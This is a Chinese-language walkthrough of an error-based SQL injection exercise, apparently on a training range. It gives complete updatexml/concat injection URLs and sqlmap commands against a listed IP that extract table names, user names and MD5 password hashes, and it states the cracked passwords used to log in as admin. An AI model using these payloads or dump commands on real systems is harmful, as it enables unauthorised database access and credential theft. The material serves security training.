SQL注入漏洞测试(报错盲注)
自己构造请求参数,然后数据库返回错误的信息,以至于我们能够爆出我们想要的信息
要进行SQL的报错注入,首先要了解MySQL的几个函数
(1)concat 用来连接字符串
select concat('m','y','s','q','l')
执行结果为mysql
(2)updatexml
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
concat执行sql注入语句,再利用updatexml的报错信息返回sql语句执行结果
(3) right 用来返回字符串最右边的len个字符;如果参数为NULL,则返回NULL
RIGHT(str,len)
SELECT RIGHT('foobarbar', 5); # arbar
SELECT RIGHT(1234567890, 5); # 67890
SELECT RIGHT(NULL, 5); # NULL
利用上述函数进行爆破数据库
http://219.153.49.228:47994/new_list.php?id= 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1 )--+
页面返回结果是:XPATH syntax error: ‘stormgroup’ 0x7e是~符号的十六进制
爆破表 member 和 notice`
http://219.153.49.228:47994/new_list.php?id= 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1),0x7e),1 )--+
爆字段 name,password,status,修改limit的前面的参数即可,默认是0。
http://219.153.49.228:47994/new_list.php?id= 1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member' limit 0,1),0x7e),1 )--+
爆字段内容
name
mozhe
http://219.153.49.228:47994/new_list.php?id= 1' and updatexml(1,concat(0x7e,(select name from member limit 0,1),0x7e),1)--+
password
3114b433dece9180717f2b7de56b28a
20ffb6b2b19fcf11732ab1c66ab9db8
http://219.153.49.228:47994/new_list.php?id= 1' and updatexml(1,concat(0x7e,(select password from member limit 0,1),0x7e),1)--+
这个时候我们去解密,发现解不出来。再看看两个密文长度都是31位,而一般MD5密文,位数
是16位或者32位,我们猜想可能最后一个字符未显示,利用substr函数进行字符串截取
从第32位开始截取,截取1位,页面返回数字3和7
http://219.153.49.228:47994/new_list.php?id= 1' and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1)--+
所以最终的password字段值是:
password
3114b433dece9180717f2b7de56b28a3
20ffb6b2b19fcf11732ab1c66ab9db87
解密得
528469
056202
登陆第二个成功进入管理后台拿取key
利用Sqlmap进行探测
–flush-session 刷新当前目标的会话文件
获取数据库
sqlmap -u "http://219.153.49.228:46322/new_list.php?id=1" --batch --dbs --flush-session
获取数据库的表
sqlmap -u "http://219.153.49.228:46322/new_list.php?id=1" --batch -D stormgroup --tables --flush-session
获取表的字段
sqlmap -u "http://219.153.49.228:46322/new_list.php?id=1" --batch -D stormgroup -T member --columns --flush-session
获取字段内容
sqlmap -u "http://219.153.49.228:46322/new_list.php?id=1" --batch -D stormgroup -T member -C name,password,status --dump --flush-session
直接进行MD5解密即可。
`